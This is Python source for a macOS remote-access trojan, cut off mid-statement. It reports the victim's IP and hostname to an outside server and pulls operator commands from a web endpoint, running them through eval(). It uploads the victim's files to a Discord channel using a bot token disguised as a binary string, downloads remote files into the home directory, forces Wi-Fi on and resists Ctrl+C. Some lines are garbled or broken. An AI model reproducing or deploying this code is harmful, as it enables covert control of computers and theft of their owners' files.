try: from os import system as ossystem from requests import get, post from time import sleep from subprocess import Popen as system from subprocess import PIPE from os import chdir, uname, devnull, getcwd from sys import platform, stdout, stderr old_command = "" command = "" loop = 0 stdout = open(devnull, 'w') stderr = open(devnull, 'w') commandExecutionReturnCode = """010011010101010001000101001100000100110101010100010011010011000001001101010001000100000100110010010011010111101001101011001100100100111101000100010101010011000001001101011010100110001101111010010011010100000100101110010001110101100000110111001101010110101001000111001011100110011001110010010001100100011001100101011010110111001001011000011010100111000101101011001100010100001001110010010000010111010101010100011001100111010001010011010110010100001101101100011101000011000101000101010100100101000101101110001110000100001001011001001100100100011001101001010110100110011101100111""" ip = get('https://api.ipify.org').content.decode('utf8') hostname = uname()[1] post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") def binStr(input_string): input_string=int(input_string, 2) Total_bytes= (input_string.bit_length() +7) // 8 input_array = input_string.to_bytes(Total_bytes, "big") ASCII_value=input_array.decode() return str(ASCII_value) except KeyboardInterrupt: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``") pass except KeyboardInterrupt: pass pass while True: # prevent keyboardinterrupt try: ossystem("/usr/sbin/networksetup -setairportpower en0 on") except: continue try: #get HTML try: commandGet = eval(get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()) commandId = commandGet[0] command = commandGet[1] if command.startswith('Error: 429'): try: sleep(5) continue except KeyboardInterrupt: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when waiting discord api timeout(rate-limit)``") except KeyboardInterrupt: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``") except KeyboardInterrupt: ossystem("/usr/sbin/networksetup -setairportpower en0 on") continue continue except: ossystem("/usr/sbin/networksetup -setairportpower en0 on") sleep(3) continue localcmd = None if old_command != commandId: try: if command == "": old_command = "" if loop == 1: loop = 0 pass else: loop = 1 continue if command == "None": old_command = "" continue if command.startswith("get "): localcmd = command.split() path = localcmd[1] temp = str(binStr(commandExecutionReturnCode)) try: open("output.txt", 'wb').write(open(str("../"+path), 'r').read()) file = [str(path), open("output.txt", 'r').read()] except: open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) file = [str(path), open("output.txt", 'rb').read()] #file = "FILE " + str(file) payload = { 'content': f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) } ``: ``file: {file[0]}``" } try: files = { "file" : (file[0],file[1]) # The picture that we want to send in binary } except: files = { "file" : (file[0],file[1]) # The picture that we want to send in binary } try: post('https://discord.com/api/v9/channels/1140989222556274721/messages', headers={'Authorization': f'Bot {temp}'}, data=payload, files=files) except: pass old_command = commandId continue if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content fileName = path.basename(fileUrl) filePath = expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) f.close() old_command = commandId continue #filename = os.path.basename(localcmd[1]) #print(filename) #ossystem("touch " + filename[0] + filename[1]) if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: del localcmd[0] del localcmd[0] localcmd = ' '.join(localcmd) print(localcmd) else: old_command = commandId continue if command.startswith("exeos "): localcmd = command.split() if localcmd[1] == platform: del localcmd[0] del localcmd[0] localcmd = ' '.join(localcmd) else: old_command = commandId continue if command.startswith("exeip "): localcmd = command.split() if localcmd[1] == ip: del localcmd[0] del localcmd[0] localcmd = ' '.join(localcmd) else: old_command = commandId continue if command.startswith("crash"): from os import fork command = command.split() if command[1len(localcmd)]: if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Notified successfully```") old_command = commandId except: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```") continue continue else: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```") except KeyboardInterrupt: continue continue else: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`") old_command = command continue elif localcmd[1] == 'keyboard' or localcmd[1] == 'type': if localcmd[3